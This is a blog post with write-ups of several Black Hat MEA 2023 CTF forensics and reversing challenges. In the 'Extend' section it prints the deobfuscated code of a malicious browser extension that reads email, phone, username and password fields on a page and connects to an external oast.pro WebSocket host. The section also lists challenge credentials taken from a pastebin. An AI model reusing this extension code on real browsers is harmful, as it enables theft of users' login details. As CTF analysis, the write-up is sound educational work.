rank

Over the weekend, I took part in the Black Hat MEA 2023 CTF alongside some friends. We secured the 33rd position. I solved 3 forensics, 2 reversing, and 1 web challenge. Below are my write-ups.

Forensics

USB100 [Easy]

Challenge Description

1
In a shocking turn of events, a malicious actor managed to gain physical access to our victim's computer by plugging in a rogue USB device. As a result, all critical data has been pilfered from the system. Flag is direct without BHFlagY{} tag.

We are given a send.pcap file. I ran Binwalk on it and found a .exe file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
~/Desktop/BlackHatMEA_CTF/Forensics/USB100 ❯ binwalk send.pcapng          

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
20999 0x5207 JPEG image data, JFIF standard 1.01
55787 0xD9EB JPEG image data, JFIF standard 1.01
130699 0x1FE8B JPEG image data, JFIF standard 1.01
268263 0x417E7 JPEG image data, JFIF standard 1.01
268645 0x41965 Copyright string: "Copyright (c) 1998 Hewlett-Packard Company"
411135 0x645FF JPEG image data, JFIF standard 1.01
458211 0x6FDE3 JPEG image data, JFIF standard 1.01
529459 0x81433 JPEG image data, JFIF standard 1.01
588823 0x8FC17 JPEG image data, JFIF standard 1.01
656379 0xA03FB JPEG image data, JFIF standard 1.01
706339 0xAC723 Microsoft executable, portable (PE)
721795 0xB0383 XML document, version: "1.0"
745627 0xB609B JPEG image data, JFIF standard 1.01
780415 0xBE87F JPEG image data, JFIF standard 1.01
840183 0xCD1F7 JPEG image data, JFIF standard 1.01
875375 0xD5B6F JPEG image data, JFIF standard 1.01
933527 0xE3E97 JPEG image data, JFIF standard 1.01
1060015 0x102CAF JPEG image data, JFIF standard 1.01
1131667 0x114493 JPEG image data, JFIF standard 1.01
1178743 0x11FC77 JPEG image data, JFIF standard 1.01
1213531 0x12845B JPEG image data, JFIF standard 1.01
1288443 0x13A8FB JPEG image data, JFIF standard 1.01
1410835 0x158713 JPEG image data, JFIF standard 1.01
1490679 0x16BEF7 JPEG image data, JFIF standard 1.01
1538563 0x177A03 JPEG image data, JFIF standard 1.01
1622475 0x18C1CB JPEG image data, JFIF standard 1.01
1664243 0x1964F3 JPEG image data, JFIF standard 1.01
1830855 0x1BEFC7 JPEG image data, JFIF standard 1.01
1927459 0x1D6923 JPEG image data, JFIF standard 1.01

we can extract everything using binwalk like this:

1
binwalk --dd='.*' send.pcapng
1
2
~/Desktop/BlackHatMEA_CTF/Forensics/USB100/_send.pcapng.extracted ❯ file * | grep exe
AC723: PE32+ executable (console) x86-64, for MS Windows, 6 sections

We can just run the binary and it will give us the flag

1
2
3
PS D:\drop> wget http://192.168.118.140/AC723 -o file.exe
PS D:\drop> .\file.exe
BHflagy{1d3cbfa0e052b1729a00950e9fc0f61a3f393bc97c0c74c8ecab1b58cd0f95c32e4c970bdfa6e23371d50680ca0c37f61f7206974d20d5cbb2f00151f4735dde}

Flag: 1d3cbfa0e052b1729a00950e9fc0f61a3f393bc97c0c74c8ecab1b58cd0f95c32e4c970bdfa6e23371d50680ca0c37f61f7206974d20d5cbb2f00151f4735dde

Not supported [Medium]

Challenge Description

1
Straight forward challenge, the flag is written on running notepad process. Flag is direct without BHFlagY{} tag.

For this challenge we are given a memory dump. I solved it by just running strings on it and grepping for BHFlagY (LOL)

Extend [Hard]

Challenge Description

1
Is this a normal image??

We are given a chall.jpg file. I run Exiftool on it and found a comment that has a link to a website

1
2
~/Desktop/BlackHatMEA_CTF/Forensics/Extend ❯ exiftool chall.jpg | grep Comment
Comment : https://justuser-tmpusage.github.io/BHatCtf.github.io/

if we search for that user on GitHub we can find this repo https://github.com/JustUser-TmpUsage/BHatCtf.github.io/blob/main/fulldata.md which has a link to a pastebin. Inside this pastebin there are some links and passwords

1
2
3
4
5
6
1. https://www.bankofamerica.com/ : Jacksmp : bukq8rS3TQj9hK!e(DELC4XnA5U#*G7V
2. https://www.facebook.com/ : Jacksmp : pmbYBIUC+We^%PgKNcH3*sQh9#AZD4$r
3. https://www.twitter.com/ : Jacksmp : LSBn+@bCQqPa2g6#*HjsmFpdrG8^7AWE
4. https://www.LinkedIn.com/ : Jacksmp : JM4xpgQ%6^NB2$3XHLukwRvSA*5b!D7)
5. https://www.Instagram.com/ : Jacksmp : Jp24A*@va&s5dc#nN^L$gmeGxFTbQEVH
6. https://mega.nz/file/1V0hQAzA : HxzUmwVKEdQqUmWSkm3kptBbv6aYUn6TKD9ViXW6XiQ

If we go to the mega link it asks us to enter a decryption key. Luckily we already have it HxzUmwVKEdQqUmWSkm3kptBbv6aYUn6TKD9ViXW6XiQ
After downloading the the file and extracting it we can start to take a look at it. The name of the challenge is Extend so I immediately went and checked the extensions folder under .\Chrome\User Data\Default\Extensions\. One of the folders there (mmkhenhkkigaomljmmnkadejchchgoma) has this weird service-worker.js file which is an obfuscated JavaScript file. I went to an online js deobfuscator. We can see the full deobfuscated code here:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
function disconnect() {
webSocket && webSocket.close()
}
function keepAlive() {
const _0x217a1c = setInterval(() => {
webSocket
? (console.log('ping'), webSocket.send('ping'))
: clearInterval(_0x217a1c)
}, TEN_SECONDS_MS)
}
function domag() {
var _0xe7653c = document.getElementsByName('email'),
_0x2307c4 = document.getElementsByName('phone'),
_0x42cb77 = document.getElementsByName('username'),
_0x22bc84 = document.getElementsByName('password')
if ((_0xe7653c || _0x2307c4 || _0x42cb77) && _0x22bc84) {
console.log(document.location.host)
while (!null) {
if (_0xe7653c) {
connect(_0x22bc84, _0xe7653c, document.location.host)
} else {
_0x2307c4
? connect(_0x22bc84, _0x2307c4, document.location.host)
: connect(_0x22bc84, _0x42cb77, document.location.host)
}
keepAlive()
}
} else {
console.log('Email not Found')
}
}
chrome.action.onClicked.addListener((_0xb9ebcf) => {
!_0xb9ebcf.url.includes('chrome://') &&
chrome.scripting.executeScript({
target: { tabId: _0xb9ebcf.id },
function: domag,
})
})
function connect(
_0x5a2fad = 'WYwIjYzMTM2sXWHFETGhkQ',
_0x58999f = '1QjY0YGNxEDM1cTMxQ2YjV',
_0x10e396 = 'Qf2MjYwAzNyIDOjVTZkJTY'
) {
scostr = _0x10e396 + '---' + _0x58999f + '---' + _0x5a2fad
webSocket = new WebSocket('wss://' + scostr + '.oast.pro/')
webSocket.onopen = (_0x5ba3a7) => {
chrome.action.setIcon({ path: 'icons/socket-active.png' })
}
webSocket.onmessage = (_0x2c3047) => {
console.log(_0x2c3047.data)
}
webSocket.onclose = (_0x4d8374) => {
chrome.action.setIcon({ path: 'icons/socket-inactive.png' })
console.log('websocket connection closed')
webSocket = null
}
}

There is some base64 encoded strings, if we concatenate them together, reverse the string and decode from base64 we can get the flag

1
2
~/Desktop/BlackHatMEA_CTF/Forensics/Extend ❯ echo Qf2MjYwAzNyIDOjVTZkJTY1QjY0YGNxEDM1cTMxQ2YjVWYwIjYzMTM2sXWHFETGhkQ | rev | base64 -d  ✘ 0|0|1
BHFLAGY{6133b20aeccd11750114f4b45a2de5c822700b36}

Flag : BHFLAGY{6133b20aeccd11750114f4b45a2de5c822700b36}


Reversing

What am I? [Easy]

Challenge Description

1
Can you figure out what type of file this is?!?

If we run file on it we can see it is a DLL

1
2
❯ file WhatAmI.dll 
WhatAmI.dll: PE32+ executable (DLL) (GUI) x86-64, for MS Windows, 6 sections

I opened it in CFF Explorer and under the Resource Editor tab I found a Bitmaps folder that contains a picture which has the flag.

rev

Flag : BHFlag{c3wl_r3s0rce_f1nding}

Can you break the armor? [Medium]

Challenge Description

1
Can you beat this awesome armor?

We are given a run.py file and a folder that contains a pyarmor_runtime.so file

1
2
3
4
5
6
7
.
├── pyarmor_runtime_000000
│   ├── __init__.py
│   ├── pyarmor_runtime.so
│   └── __pycache__
│   └── __init__.cpython-310.pyc
└── run.py

The run.py is an obfuscated file using the Pyarmor tool which is a command-line tool designed for obfuscating Python scripts, binding obfuscated scripts to specific machines, and setting expiration dates for obfuscated scripts. (https://github.com/dashingsoft/pyarmor)

I looked for tools to deobfuscate this but none of them worked for me, so I decided to use gdb to do the job.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
~/Desktop/blackhatmeactf/shear/rev/player ❯ gdb python3.10                                     
Reading symbols from python3.10...
pwndbg: loaded 160 pwndbg commands and 49 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
------- tip of the day (disable with set show-tips off) -------
Use the errno (or errno <number>) command to see the name of the last or provided (libc) error
pwndbg> b exit
Breakpoint 1 at 0x583b0
pwndbg> set args ./run.py
pwndbg> r
Starting program: /usr/local/bin/python3.10 ./run.py
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, __GI_exit (status=0) at ./stdlib/exit.c:141
141 ./stdlib/exit.c: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────
RAX 0x0
*RBX 0x7fffffffdc98 —▸ 0x7fffffffe054 ◂— '/usr/local/bin/python3.10'
RCX 0x0
RDX 0x0
RDI 0x0
*RSI 0x7fffffffda58 —▸ 0x5555556932e0 (_PyMem_RawRealloc) ◂— test rdx, rdx
*R8 0x7
*R9 0x5555558d97c0 ◂— 0x5555558d9
*R10 0x3afef2b5990a5d1e
*R11 0x7ffff7d489b0 (fflush) ◂— test rdi, rdi
R12 0x0
*R13 0x7fffffffdcb0 —▸ 0x7fffffffe077 ◂— 0x5245545f5353454c ('LESS_TER')
*R14 0x55555589b2b8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x55555571d350 (__do_global_dtors_aux) ◂— endbr64
*R15 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2d0 —▸ 0x555555554000 ◂— 0x10102464c457f
*RBP 0x2
*RSP 0x7fffffffdb88 —▸ 0x7ffff7cfc6d1 (__libc_start_call_main+129) ◂— call 0x7ffff7d5a670
*RIP 0x7ffff7d13a70 (exit) ◂— sub rsp, 8
─────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────
► 0x7ffff7d13a70 <exit> sub rsp, 8
0x7ffff7d13a74 <exit+4> mov ecx, 1
0x7ffff7d13a79 <exit+9> mov edx, 1
0x7ffff7d13a7e <exit+14> lea rsi, [rip + 0x194dbb] <__exit_funcs>
0x7ffff7d13a85 <exit+21> call __run_exit_handlers <__run_exit_handlers>

0x7ffff7d13a8a nop word ptr [rax + rax]
0x7ffff7d13a90 <internal_addseverity> push r12
0x7ffff7d13a92 <internal_addseverity+2> mov r12, qword ptr [rip + 0x194daf] <severity_list>
0x7ffff7d13a99 <internal_addseverity+9> push rbp
0x7ffff7d13a9a <internal_addseverity+10> mov rbp, rsi
0x7ffff7d13a9d <internal_addseverity+13> push rbx
───────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdb88 —▸ 0x7ffff7cfc6d1 (__libc_start_call_main+129) ◂— call 0x7ffff7d5a670
01:0008│ 0x7fffffffdb90 —▸ 0x7fffffffdc80 —▸ 0x7fffffffdc88 —▸ 0x7ffff7fc3160 —▸ 0x7ffff7eb7000 ◂— ...
02:0010│ 0x7fffffffdb98 —▸ 0x55555566d1b0 (main) ◂— jmp 0x55555571d3a0
03:0018│ 0x7fffffffdba0 ◂— 0x255554040
04:0020│ 0x7fffffffdba8 —▸ 0x7fffffffdc98 —▸ 0x7fffffffe054 ◂— '/usr/local/bin/python3.10'
05:0028│ 0x7fffffffdbb0 —▸ 0x7fffffffdc98 —▸ 0x7fffffffe054 ◂— '/usr/local/bin/python3.10'
06:0030│ 0x7fffffffdbb8 ◂— 0x295c684a2381763f
07:0038│ 0x7fffffffdbc0 ◂— 0x0
─────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────
► f 0 0x7ffff7d13a70 exit
f 1 0x7ffff7cfc6d1 __libc_start_call_main+129
f 2 0x7ffff7cfc785 __libc_start_main+133
f 3 0x55555571d2d1 _start+33
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> search "BHF"
Searching for value: 'BHF'
warning: Unable to access 16000 bytes of target memory at 0x7ffff72b9e82, halting search.
[anon_7ffff7600] 0x7ffff76896e0 'BHFlagY{{th4t_4rm0r_wasnt_v3ry_5tr0ng}}'

Flag: BHFlagY{th4t_4rm0r_wasnt_v3ry_5tr0ng}